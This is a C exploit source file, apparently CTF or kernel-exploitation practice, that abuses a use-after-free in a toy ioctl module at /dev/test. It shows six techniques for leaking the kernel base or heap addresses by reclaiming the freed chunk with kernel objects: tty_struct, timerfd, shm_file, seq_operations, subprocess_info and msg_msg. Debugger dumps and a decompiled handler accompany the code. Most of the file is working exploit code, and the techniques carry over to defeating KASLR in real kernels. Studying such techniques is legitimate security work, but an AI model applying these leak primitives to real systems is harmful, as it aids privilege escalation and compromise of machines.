-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathleak_techniques.c
252 lines (226 loc) · 6.13 KB
/
leak_techniques.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/msg.h>
#define module "/dev/test"
#define new_cmd 0xdead0001
#define free_cmd 0xdead0002
#define store_cmd 0xdead0003
#define load_cmd 0xdead0004
#define kbase 0xffffffff81000000 // no kaslr
int assert(unsigned long leak){return (leak-kbase)==0 ? 1 : -1;}
int fd;
unsigned long buf[0x200];
struct {
int size;
char* note
} cmd;
void new(int size){
cmd.size = size; cmd.note = NULL;
ioctl(fd, new_cmd, &cmd);
}
void delete(void){
cmd.size = 0; cmd.note = NULL;
ioctl(fd, free_cmd, &cmd);
}
void store(int size, void* note){
cmd.size = size; cmd.note = note;
ioctl(fd, store_cmd, &cmd);
}
void load(int size, void* note){
cmd.size = size; cmd.note = note;
ioctl(fd, load_cmd, &cmd);
}
int tty_leak(){
unsigned long leak;
new(1024); // kmalloc-1024
store(0x2e0, (void*)buf); // size
delete();
int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY);
load(0x2e0, (void*)buf);
leak = buf[3] - 0xe65900;
printf("Leaked Kbase: 0x%llx\n", leak);
/*
0x0018: 0xffffffff81e65900
gef> x/gx 0xffffffff81e65900
0xffffffff81e65900: 0xffffffff81418ed0
gef> x/gx *0xffffffff81e65900
0xffffffff81418ed0 <ptm_unix98_lookup>: 0xc3fffffffbc0c748
*/
return assert(leak);
}
int timerfd_leak(){
unsigned long leak;
new(0x100); // kmalloc-256
store(0x100, (void*)buf);
delete();
struct itimerspec timespec = {{0, 0}, {100, 0}};
int tfd = timerfd_create(CLOCK_REALTIME, 0);
timerfd_settime(tfd, 0, ×pec, 0);
close(tfd);
load(0x100, (void*)buf);
leak = buf[5] - 0x1e7ef0;
printf("Leaked Kbase: 0x%llx\n", leak);
/*
0x0028: 0xffffffff811e7ef0
gef> p timerfd_tmrproc
$2 = {<text variable, no debug info>} 0xffffffff811e7ef0 <timerfd_tmrproc>
*/
return assert(leak);
}
int shm_file_leak(){
unsigned long leak;
new(0x20); // kmalloc-32
delete();
int shmid = shmget(IPC_PRIVATE, 100, 0600);
char *shmaddr = shmat(shmid, NULL, 0);
load(0x20, (void*)buf);
leak = buf[1] - 0x1292ae0;
printf("Leaked Kbase: 0x%llx\n", leak);
/*
0x0008: 0xffffffff82292ae0
*/
return assert(leak);
}
int seq_ops_leak(){
unsigned long leak;
new(0x20); // kmalloc-32
delete();
int victim = open("/proc/self/stat", O_RDONLY);
load(0x20, (void*)buf);
leak = buf[0] - 0x1c5f70;
printf("Leaked Kbase: 0x%llx\n", leak);
/*
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
0x0000: 0xffffffff811c5f70
0x0008: 0xffffffff811c5f90
0x0010: 0xffffffff811c5f80
0x0018: 0xffffffff8120c3f0
gef> x/gx 0xffffffff811c5f70
0xffffffff811c5f70 <single_start>: 0x940f003e8348c031
gef> x/gx 0xffffffff811c5f80
0xffffffff811c5f80 <single_next>: 0x66c3c03101028348
gef> x/gx 0xffffffff811c5f90
0xffffffff811c5f90 <single_stop>: 0x00841f0f2e6666c3
gef> x/gx 0xffffffff8120c3f0
0xffffffff8120c3f0 <proc_single_show>: 0x54415541f6315641
*/
return assert(leak);
}
int subprocess_leak(){
unsigned long leak;
new(0x80); // kmalloc-128
delete();
socket(22, AF_INET, 0);
load(0x60, (void*)buf);
leak = buf[3] - 0x71380;
printf("Leaked Kbase: 0x%llx\n", leak);
/*
0x0018: 0xffffffff81071380
gef> x/gx 0xffffffff81071380
0xffffffff81071380 <call_usermodehelper_exec_work>: 0x08ec8348fb894853
*/
return assert(leak);
}
int msg_leak(){
struct {
long mtype;
char mtext[0x50 - 0x30];
} msgbuf;
unsigned long leak;
new(0x50);
delete();
int qid = msgget(123, 0666|IPC_CREAT);
msgbuf.mtype = 1;
strcpy(msgbuf.mtext, "KAMUSARI");
msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext), 0);
load(0x50, (void*) buf);
leak = buf[1];
printf("Leaked Kheap: 0x%llx\n", leak);
/*
// one msg_msg structure for each message
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; // message text size
struct msg_msgseg *next;
void *security;
// the actual message follows immediately
};
0x0008: 0xffff88800e3391c0
gef> x/gx 0xffff88800e3391c0
0xffff88800e3391c0: 0xffff88800e40bd20
m_list->next m_list->prev
0xffff88800e40bd20: 0xffff88800e3391c0 0xffff88800e3391c0
m_type m_ts
0xffff88800e40bd30: 0x0000000000000001 0x0000000000000020
*next *security
0xffff88800e40bd40: 0x0000000000000000 0xffff88800f3dff70
mtext
0xffff88800e40bd50: 0x49524153554d414b
*/
return 0;
}
int main(){
fd = open(module, O_RDWR);
if (fd < 0) {perror("Can't open device!\n"); exit(-1);}
memset(buf,0,0x1000);
int method = msg_leak();
if (method < 0){perror("Leak Failed Leak!\n"); exit(-1);}
else{printf("Leak gone right!\n");}
return 0;
}
/*
0000006a if (_copy_from_user(&var_18, arg3, 0x10) != 0)
000000cf label_cf:
000000cf rax_4 = -0xe
000000e4 label_e4:
000000e4 return rax_4
00000072 if (arg2 == 0xdead0002)
000000e5 uint64_t note_2 = note
000000ef if (note_2 != 0)
000000f1 kfree(note_2)
000000ac label_ac:
000000ac return 0
000000d8 label_d8:
000000d8 rax_4 = -0x16
000000d8 goto label_e4
00000074 if (arg2 u<= 0xdead0002)
000000b3 if (arg2 != 0xdead0001)
000000b3 goto label_d8
000000be uint64_t rax_3 = __kmalloc(sx.q(var_18), 0x6000c0)
000000c6 note = rax_3
000000cd if (rax_3 == 0)
000000cd goto label_cf
000000cd goto label_ac
0000007c int64_t var_10
0000007c if (arg2 == 0xdead0003)
000000fa uint64_t note_3 = note
00000104 if (note_3 == 0)
00000104 goto label_d8
00000117 if (_copy_from_user(note_3, var_10, sx.q(var_18)) != 0)
00000117 goto label_cf
00000117 goto label_ac
00000084 if (arg2 != 0xdead0004)
00000084 goto label_d8
00000086 uint64_t note_1 = note
00000090 if (note_1 == 0)
00000090 goto label_d8
000000a3 if (_copy_to_user(var_10, note_1, sx.q(var_18)) != 0)
000000a3 goto label_cf
000000a3 goto label_ac
*/